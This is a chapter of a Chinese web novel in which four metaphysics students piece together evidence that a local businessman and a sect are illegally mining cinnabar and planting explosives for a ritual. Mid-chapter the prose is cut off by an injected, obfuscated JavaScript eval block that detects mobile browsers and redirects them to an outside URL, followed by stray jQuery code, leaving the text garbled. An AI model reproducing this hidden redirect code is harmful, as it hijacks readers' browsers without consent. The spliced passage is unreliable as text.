24.第二十四章
作品:《在玄学大学读书那几年》 =
回到吊脚楼时,天色已近黄昏。
杜若和夏芙比江时宇他们早回来一刻钟。两人正在火塘边低声交谈,身上也沾着泥点,但神色还算平稳。
看到江时宇和许白敛进屋,杜若点了点头,夏芙则指了指桌上摊开的一张手绘草图,上面用简练的线条勾勒出后山鹰嘴岩附近的地形,几个点位标记着三角形和感叹号。
“先说说你们看到的。”江时宇顾不上喝许白敛递来的热水,急切地问。
杜若将草图转向他们,手指点在最中央一个用红笔圈出的位置,“矿洞入口确不止一个,还有这个,”她调出手机里一张放大到模糊的照片,画面里乱石缝隙中露出一截深绿色的帆布和几根交错支撑的金属管,“简易的隐蔽门和加固结构。”
夏芙补充,“我们在对面山坡用望远镜观察了二十分钟。前后有三拨人进出,每拨两到三人,都穿着统一的深蓝色工装,动作很快,警惕性高。一辆小型履带车从里面出来,车上盖着帆布,但我们勘测到的数据和热成像推测,是工业炸药箱。我们粗略数了下,至少六个标准箱被运进去。”
“六个标准箱……”许白敛眉头紧锁,“如果都是高爆品,都足够把半个山头掀开了,他们到底想干什么。”
夏芙冷哼一声,“一群亡命之徒罢了。”
杜若调出另一张照片,是矿洞入口侧上方岩壁的局部特写,“而且岩壁上刻了东西,很浅,像是近期新刻的。”
照片模糊,但能看出是几个扭曲的、非文字的符号,排列方式带有某种规律。江时宇凑近仔细看,觉得那符号的边缘走势隐约透着一种不舒服的锐利感。
“和硬币上的刻印会相互呼应吗?”江时宇想起红包里,硬币侧面的刻印。
“不太像,”夏芙摇摇头,“硬币上的像是追踪的记号,岩壁上的则是傩面符纹,现在还不确定用处。”
“我已经上报了,等上面的详细资料。”杜若收起手机,“结合你们发现的矿脉特性,对方运输如此大量炸药进洞,目的恐怕不单纯是开采或掩盖。”
这时,江时宇才将他们龙鳞竹区域的发现详细说了一遍。重点描述了地下那股锐利灼热的狂暴能量,以及关于龙鳞竹作为天然缓冲层的推断。
听完,夏芙手指无意识地敲着肘部,若有所思,“也就是说,底下埋着的那些矿,本身就是一大坨炸药包,龙鳞竹是捆住炸药包的安全绳。现在他们把绳子砍了,炸药包变得不稳定,而他们还要往里面塞更多的□□……?”
“没这么简单,”杜若站起身,走到电脑前,快速调出一些资料,“传统玄学中,辰砂矿脉被视为纯阳之精,稀有金属矿脉则汇聚至锐金气。二者结合,在特殊地脉中孕育千万年,其蕴含的阳金煞气是极其罕见且强大的能量。如果有人懂得利用这种能量,尤其是通过爆破这种极端方式来瞬间释放和引导……”
她没有说完,但意思已经很清楚。
“仪式。”许白敛声音接话,“或者,炼制某种需要极端能量环境的东西。”
屋内一时安静下来。
=
晨雾比前几日稀薄了些,天光勉强能照出吊脚楼屋檐的轮廓。堂屋里的火塘烧了一夜,余烬还温着,新添的柴禾噼啪作响。
空气中混杂着油茶、草药和湿木头的气味。
“又没怎么睡?”夏芙打着哈欠从楼上下来,头发随意扎着,她看了眼杜若手边冷掉的半碗油茶和几个空掉的能量棒包装纸。
杜若没抬头,手指在触控板上快速滑动,“把昨晚和之前所有的数据重新过了一遍,有些关联得理顺。”
“你这么熬要出事的吧。”
这是他们来霖城的第六天了,杜若已经接连几天没好好睡觉,就算是铁打的人也熬不住这样连轴转。
夏芙拉开椅子,坐在杜若旁边,“一会儿让小许给你把把脉吧。”
言语间,江时宇和许白敛也下楼了。
“今天从哪开始?”夏芙往那一躺,惬意极了。
杜若将电脑屏幕转向大家,“我把目前掌握的所有信息碎片,按类别和时间线列出来了。”
屏幕上出现一个简易的思维导图,分出数条支线:地气水文、病症症状、人为痕迹、能量异常、本地势力。
杜若在电脑上调出资料库页面,输入关键词,“关于昨天提到的辰砂,我根据霖城地区地质志记载进行了搜索。历史上的确曾有零星的辰砂和伴生异金记载,但储量不明,近代没有规模勘探开发记录。”
“因为不好挖。”江时宇指着后山地形图,“这一片地下溶洞多,岩层脆,大规模机械开采容易引发塌方。而且龙鳞竹长的那片坡地是几条小水脉的源头,动那里下游水文肯定受影响。正规矿业公司要评估环境成本,不会轻易碰。”
“所以有人用非正规手段碰了。”夏芙冷笑。
杜若在电脑上新建了一个分支,标注【盗采稀有金属矿】,然后拉出两条线,一条连向【龙鳞竹被毁】,一条连向【地气紊乱】。
然后调出一段频谱分析图,指着某个尖峰,“根据爆发前的外部的指令信号反推,发射源大概在这个范围。”地图上出现一个红色扇形区域,覆盖一片山地。
“那个位置有什么?”江时宇凑近看。
“一片私人经营的生态茶园,叫云岭雾茶示范园。登记在山泽生态农业开发公司名下。”杜若放大卫星图。
夏芙忽然坐直了身体,“茶园?”
杜若切换页面,进入赤北内部数据库,调取企业信息查询权限。
输入“山泽生态农业开发公司”。
页面刷新,法人代表一栏赫然写着:仲卓杨。
“仲卓杨……”江时宇念着这个名字,“本地人?”
杜若滚动页面,调出关联信息,“仲卓杨,五十七岁,霖城本地人。早年做建材生意,十年前转型生态文旅,名下有多家公司和山庄。公开形象是成功企业家、慈善家,给县里捐过学校、修过路。他的山泽集团挺成功的,是霖城本地的龙头企业。”
她调整出仲卓扬仲卓杨的形象照,把显示器掰过来对准江时宇。
“啥意思?”江时宇一愣。
“你不是做梦了吗,”夏芙笑道,“你看看,对得上这张脸吗?”
“这哪认得出来啊,”江时宇挠挠头,“梦的大概内容我都不太记得了,更别说脸了。”
夏芙和许白敛沉默片刻,没说什么,杜若则默默把显示屏掰了回去。
心够大的。
杜若又输入“云岭雾茶示范园”的详细地址,调取该地块近年的卫星影像历史。
画面逐月播放,可以看到茶园区域在过去两年间,陆续修建了几处大型构筑物,但茶树种植面积扩张缓慢。更重要的是,有一组夜间热成像图片显示,该区域在深夜常有局部高温区,不符合茶园正常作业规律。
“难道茶园是幌子,真正的目的是掩护矿洞入口和监控指挥中心?”江时宇忍不住猜测。
“有可能。”杜若调出另一份资料,是霖城近年土地流转和矿产勘探权的申请记录,“半年前,仲卓杨的山泽集团曾以【生态茶园土壤改良研究】为名,申请对包括后山部分区域在内的地块进行地质取样。申请批了,但后续没有公开的勘探报告。同一时期,后山龙鳞竹区域开始出现塌方和异常闷响。”
线索开始咬合。
夏芙仰在椅子上,慵懒开口,“他们要辰砂我能理解,顶级辰砂自古就值钱。但那些伴生的稀有金属,仲卓杨一个茶商,有渠道出手吗?卖矿石可不像卖茶叶那么简单。”
杜若沉默片刻,打开上次老师发来的邮件。
“傩面。”杜若将屏幕转向大家,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985668|193010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
根据有限资料,傩面与驱傩祭仪、方技医药有关,部分成员有利用稀有矿物和特殊能量场进行危险实验的记录。”
档案里附有几张模糊的历史照片和手绘图,其中一张手绘图上画着一种复杂的符文阵列,旁边注解提到了阳极化煞、地脉萃取等术语。
“阳极化煞……”江时宇盯着那四个字,“什么意思?”
许白敛拿起那份绘有傩面符纹的炸药包装照片,“如果结合这个看呢?”
“假设他们把大量炸药埋设在矿脉能量节点,”杜若声音低沉,“在特定时间引爆。爆炸的物理冲击会瞬间撕裂矿脉结构,释放出其中蕴含的庞大能量。辰砂的阳火、金属的锋锐,以及地底积郁的热力。这些能量在爆炸作用下混合、冲撞、向上喷发……”
她调出模拟能量流向图:一股混乱而狂暴的能量流从矿脉炸点向上冲起,直冲云霄。
“如果这时候,他们在合适的位置,用某种方法引导或收集这股能量……”夏芙眯起眼,“就能完成所谓的阳极化煞。”
江时宇感到后背发凉,“所以他们挖矿,不止是为了卖钱,更是为了获取仪式材料。炸矿灭迹并制造仪式所需的能量爆发,完成仪式?那寨民们......?”
江时宇没说,但其他三人都明白他的意思。
自古以来,这些邪崇最没底线。
让寨民们生病真的只是为了掩人耳目吗?还是为了给这场仪式增添祭品?
=
江时宇看着那幅错综复杂却又条理清晰的关联图,第一次如此直观地感受到,那些零散的、诡异的怪事背后,竟然藏着如此周密而冷酷的计划。
他宁愿对方只是为利所图,而非像现在这样,带着巨大的执念和邪崇。
人心远比山精鬼怪更为难缠。
“他们计划在祭典日行动,”夏芙看了眼墙上的老式日历,“还有不到四天。”
夏芙收起桌上的样品袋,“我们需要更确凿的证据,方便执务司行动科那边同步。尤其是仲卓杨与傩面直接勾结的证据,以及矿洞内炸药布置的具体情况。”
“那就去找。”江时宇情绪有些激动,他不可能看着这样的阴谋成真,更接受不了寨民的无辜葬送,“那个茶园很可能就是他们的老巢和入口。”
“不能硬闯。”杜若摇头,“对方早就注意到我们,现在一定高度戒备,我们需要更巧妙的法子。”
“不是有迷踪阵吗?”夏芙笑道。
杜若略一思索“用卦阵模拟出地气即将喷发的假象,诱使对方主力离开矿洞核心区,去查看或处理?”
只要他们开始疑神疑鬼、分兵应对,机会就来了
“声东击西,调虎离山。”许白敛垂下眼。
夏芙点头,“然后我们真正要做的,是潜入茶园找到指挥中心,拿到核心证据,同时想办法摸清矿洞炸药布局。”
“对了,”杜若忽然想起什么,调出一份刚收到的加密信息,“导师那边传来消息,已经联系到霖城执务分局。对方表示会暗中调派可信人手在外围策应,并在我们拿到关键证据后立即行动。但前提是证据必须确凿,能直接钉死仲卓杨和傩面。否则地方关系复杂,容易走漏风声。”
“也就是说,最终收网还得靠我们手里的东西。”夏芙撇了撇嘴,“压力更大了啊,这帮执务司的干什么吃的。”
江时宇宽慰道,“起码知道了我们不是完全孤立无援。”
杜若目光扫过三人,“风险很高。对方可能有武装,傩面术士手段阴毒,且时间有限。有任何异议或补充吗?”
三人无声摇头。
显然,大家都很急迫。
“那就这么定。”杜若敲下回车键,将草案保存,“今天白天各自准备,先检查装备,休息恢复。”
“明白。”三人应道。
=

